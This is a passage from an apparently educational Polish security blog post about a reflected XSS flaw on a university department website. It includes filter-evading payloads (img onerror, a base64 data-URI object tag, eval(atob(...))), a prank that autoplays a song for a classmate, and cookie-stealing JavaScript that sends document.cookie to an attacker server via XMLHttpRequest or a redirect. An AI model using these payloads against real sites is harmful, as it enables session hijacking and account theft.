&lt;p>Zacząłem od próby obejścia hipotetycznego filtra - zakładam w tym momencie, że coś po stronie serwera wykrywa słowo &lt;code>script&lt;/code> lub &lt;code>alert&lt;/code>. W tym celu przygotowałem prosty kod, który bez wykorzystania dyrektywy &lt;code>script&lt;/code> wykona kod w języku JavaScript:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">img&lt;/span> &lt;span class="na">src&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;././nieistniejacezdjecie.jpg&amp;#34;&lt;/span> &lt;span class="na">onerror&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;alert(&amp;#39;1&amp;#39;);&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Fragment ten działa w następujący sposób:&lt;/p>
&lt;ul>
&lt;li>Podjęta zostaje próba zaimportowania pliku graficznego &lt;code>././nieistniejacezdjecie.jpg&lt;/code>&lt;/li>
&lt;li>W przypadku jego braku lub innego błędu, wykonane zostaje polecenie &lt;code>alert('1')&lt;/code> w języku JavaScript (pojawia się wyskakujące okienko z cyfrą 1).&lt;/li>
&lt;/ul>
&lt;p>Niestety ponownie otrzymałem &lt;code>ERR_CONNECTION_RESET&lt;/code>. Wykorzystałem teraz kod podobny do wcześniejszego, z modyfikacją zapisującą cyfrę &lt;code>1&lt;/code> do konsoli przeglądarki zamiast wyświetlania jej w wyskakującym okienku:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">img&lt;/span> &lt;span class="na">src&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;././nieistniejacezdjecie.jpg&amp;#34;&lt;/span> &lt;span class="na">onerror&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;console.log(&amp;#39;1&amp;#39;);&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>{: .notice&amp;ndash;info}
W przypadku przeglądarki Google Chrome lub &lt;a href="https://alternativeto.net/category/browsers/chromium-based/"target="_blank" rel="noopener">innych bazujących na silniku Chromium&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> (np. Edge i Opera), aby wejść do konsoli należy wcisnąć klawisz F12 (Narzędzia developerskie). Podobnie jest w przypadku przeglądarki Firefox.&lt;/p>
&lt;p>Tym razem sukces - oczekiwane wpisy pojawiły się w konsoli.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./xss-proof.png">&lt;img loading="lazy" src="./xss-proof.png" alt="XSS proof">&lt;/a>
&lt;figcaption>PoC ataku XSS&lt;/figcaption>
&lt;/figure>
&lt;p>Co jednak można z takim błędem zrobić? Poniżej przedstawię dwa możliwe scenariusze.&lt;/p>
&lt;h3>Żart na koledze ze studiów&lt;span class="hx:absolute hx:-mt-20" id="żart-na-koledze-ze-studiów">&lt;/span>
&lt;a href="#%c5%bcart-na-koledze-ze-studi%c3%b3w" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Oczywiście, że najlepszą metodą przedstawienia błędu jest wykonanie żartu. Załóżmy hipotetycznie, że kolega ma na imię Wojtek i bardzo irytuje go pewna bardzo znana piosenka autorstwa Ricka Astleya. Odkryłem daną podatność na stronie politechnicznej i mogę wykorzystać to do zrobienia głupiego kawału. W tym celu przygotowałem prosty kod w języku JavaScript:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>&amp;lt;script&amp;gt;
if(document.getElementById(&amp;#39;xss_audio&amp;#39;) == null ) {
var a = document.createElement(&amp;#39;xss_audio&amp;#39;);
a.src = &amp;#34;https://URL/nevergonna.mp3&amp;#34;
a.autoplay=true;
a.id=&amp;#39;xss_audio&amp;#39;;
a.style.display=&amp;#39;none&amp;#39;;
document.body.appendChild(a);
}
&amp;lt;/script&amp;gt;&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Polu &lt;code>a.src&lt;/code> przypisujemy adres URL do pliku &lt;code>.mp3&lt;/code> danej piosenki. Wiem jednak, że strona nie akceptuje wyrazu &lt;code>script&lt;/code>. W &lt;a href="https://whitehats.pwr.edu.pl/edu/phishing/#data-uri"target="_blank" rel="noopener">jednym z poprzednich artykułów&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> na naszym blogu przedstawiliśmy, jak przestępcy mogą dostarczać dowolną treść na strony internetowe - poprzez &lt;code>data URI&lt;/code>. Aby móc to wykorzystać, potrzebujemy zamienić kod do postaci &lt;code>base64&lt;/code> (np. poprzez &lt;a href="https://www.base64encode.org/"target="_blank" rel="noopener">dowolny&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> konwerter online). Otrzymujemy w ten sposób poniższy ciąg znaków:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>PHNjcmlwdD4KaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3hzc19hdWRpbycpID09IG51bGwgKSB7Cgl2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3hzc19hdWRpbycpOwoJYS5zcmMgPSAiaHR0cHM6Ly9VUkwvbmV2ZXJnb25uYS5tcDMiCglhLmF1dG9wbGF5PXRydWU7CglhLmlkPSd4c3NfYXVkaW8nOwoJYS5zdHlsZS5kaXNwbGF5PSdub25lJzsKCWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cn0KPC9zY3JpcHQ&amp;#43;&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>To jednak nie wszystko - jak zamieścić to na stronie z wykorzystaniem XSS? Tu na pomoc przychodzi tag &lt;code>object&lt;/code> (więcej o nim można przeczytać &lt;a href="https://www.w3schools.com/tags/tag_object.asp"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>). Zbierając dotychczasową wiedzę, tworzę ciąg w postaci:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">object&lt;/span> &lt;span class="na">data&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;data:text/html;base64,PHNjcmlwdD4KaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3hzc19hdWRpbycpID09IG51bGwgKSB7Cgl2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3hzc19hdWRpbycpOwoJYS5zcmMgPSAiaHR0cHM6Ly9VUkwvbmV2ZXJnb25uYS5tcDMiCglhLmF1dG9wbGF5PXRydWU7CglhLmlkPSd4c3NfYXVkaW8nOwoJYS5zdHlsZS5kaXNwbGF5PSdub25lJzsKCWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cn0KPC9zY3JpcHQ+&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;/&lt;/span>&lt;span class="nt">object&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Nie pozostaje mi nic innego jak wkleić ten kod w pole wyszukiwania i wysłać nowy URL Wojtkowi z nadzieją, że mocno go to zirytuje - wynik na filmie poniżej.&lt;/p>
&lt;p>{% include video id=&amp;ldquo;1LVW6sSfRtJFPIRX0p2iXIKbZz5eKgZXi&amp;rdquo; provider=&amp;ldquo;google-drive&amp;rdquo; %}&lt;/p>
&lt;p>Przygotowałem również wersję dla tych, którzy preferują opcję wizualną.&lt;/p>
&lt;p>{% include video id=&amp;ldquo;1XxhrsJBZXYD60zQ48rPwEktSqqjwWfGI&amp;rdquo; provider=&amp;ldquo;google-drive&amp;rdquo; %}&lt;/p>
&lt;h3>Kradzież konta&lt;span class="hx:absolute hx:-mt-20" id="kradzież-konta">&lt;/span>
&lt;a href="#kradzie%c5%bc-konta" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Drugi przykład różni się od poprzedniego, a jego skutki mogą być dużo bardziej poważne. Mowa tu o dosłownej kradzieży tożsamości pracownika lub studenta poprzez stronę.&lt;/p>
&lt;p>Na stronie Katedry, nad wyszukiwarką, można zauważyć panel logowania. Portal ten wykorzystuje ciasteczka do przechowywania informacji o użytkownikach. Jest to najlepsza sytuacja dla cyberprzestępcy - dostępny XSS oraz dane trzymane w plikach cookie.&lt;/p>
&lt;p>{: .notice&amp;ndash;info}
Więcej o plikach cookie można przeczytać &lt;a href="https://wszystkoociasteczkach.pl/po-co-sa-ciasteczka/"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Najprostszą metodą oszukania osoby zalogowanej jest wstrzyknięcie kodu, który po wyświetleniu danej strony wyśle ciasteczka do atakującego. Można wykorzystać do tego zapytanie HTTP GET. Poniżej przykład w języku JavaScript:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">xmlHttp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nx">XMLHttpRequest&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">url&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;http://127.0.0.1&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">xmlHttp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">open&lt;/span>&lt;span class="p">(&lt;/span> &lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">url&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kc">false&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">xmlHttp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span> &lt;span class="kc">null&lt;/span> &lt;span class="p">);&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Jako &lt;code>url&lt;/code> podajemy naszą domenę lub adres IP, na którym działa nasz serwer HTTP.&lt;/p>
&lt;p>Ale jak wysłać ciasteczka? Ciekawą metodą jest zakodowanie ich do postaci &lt;code>base64&lt;/code> (np. wykorzystując metodę &lt;code>btoa&lt;/code>) i dołączenie do naszego URLa w postaci parametru:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">xmlHttp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nx">XMLHttpRequest&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">btoa&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">cookie&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">url&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;http://127.0.0.1/?c=&amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nx">c&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">xmlHttp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">open&lt;/span>&lt;span class="p">(&lt;/span> &lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">url&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kc">false&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">xmlHttp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span> &lt;span class="kc">null&lt;/span> &lt;span class="p">);&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Wiemy jednak, że strona ta nie radzi sobie dobrze ze słowem &lt;code>script&lt;/code>. Tu do gry wkracza metoda &lt;code>eval&lt;/code> z języka JavaScript. W duzym uproszczeniu, jeśli przekażemy do niej kod w postaci tekstowej, to zostanie on wykonany. Można to połączyć z metodą &lt;code>atob&lt;/code> dekodującą ciąg znaków z postaci &lt;code>base64&lt;/code>.&lt;/p>
&lt;ol>
&lt;li>Kodujemy gotowy kod zapytania GET do &lt;code>base64&lt;/code> z wykorzystaniem &lt;a href="https://www.base64encode.org/"target="_blank" rel="noopener">dowolnego konwertera&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>:&lt;/li>
&lt;/ol>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>dmFyIHhtbEh0dHAgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKYyA9IGJ0b2EoZG9jdW1lbnQuY29va2llKTsKdXJsID0gImh0dHA6Ly8xMjcuMC4wLjEvP2M9IiArIGM7CnhtbEh0dHAub3BlbiggIkdFVCIsIHVybCwgZmFsc2UgKTsgCnhtbEh0dHAuc2VuZCggbnVsbCApOw==&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;ol start="2">
&lt;li>Wykorzystując zebrane dotychczas informacje tworzymy kod, który wykona przekazany ciąg znaków:&lt;/li>
&lt;/ol>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">img&lt;/span> &lt;span class="na">src&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">1&lt;/span> &lt;span class="na">onerror&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;javascript:eval(atob(&amp;#39;dmFyIHhtbEh0dHAgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKYyA9IGJ0b2EoZG9jdW1lbnQuY29va2llKTsKdXJsID0gImh0dHA6Ly8xMjcuMC4wLjEvP2M9IiArIGM7CnhtbEh0dHAub3BlbiggIkdFVCIsIHVybCwgZmFsc2UgKTsgCnhtbEh0dHAuc2VuZCggbnVsbCApOw==&amp;#39;))&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;!-- Natkniemy się tu jednak na mały problem - polityka CORS zablokuje dowolne połączenia na adresy inne niż lokalne i na domeny różne od źródłowej. -->
&lt;p>W konsoli pojawia się jednak błąd związany z CORS.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./cors.png">&lt;img loading="lazy" src="./cors.png" alt="CORS">&lt;/a>
&lt;figcaption>Wynik działającej polityki CORS&lt;/figcaption>
&lt;/figure>
&lt;p>{: .notice&amp;ndash;info}
&lt;strong>CORS (Cross-Origin Resource Sharing)&lt;/strong> - mechanizm blokujący przeglądarkom wykonywanie żądań HTTP do zasobów o innym pochodzeniu (protokół + domena + port). Nie jest to jednak zabezpieczenie przeciwko atakom XSS, które mogą je w prosty sposób obejść.&lt;/p>
&lt;p>Czy to oznacza brak możliwości przeprowadzenia ataku? Nic bardziej mylnego. W tej sytuacji wystarczy po stronie serwera atakującego ustawić odpowiedni nagłówek. Spróbuję jednak podejść do tego w inny sposób. W języku JavaScript istnieje możliwość wykonania przekierowania na inną stronę z wykorzystaniem obiektu &lt;code>window.location&lt;/code>. Wystarczy sprawdzić czy badana strona zezwala na takie działania:&lt;/p>
&lt;ol>
&lt;li>Kod w języku JavaScript wykonujący przekierowanie pod adres atakującego wraz z ciasteczkami:&lt;/li>
&lt;/ol>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="nx">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">btoa&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">cookie&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">window&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">location&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;http://localhost/&amp;#39;&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="nx">c&lt;/span>&lt;span class="p">;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
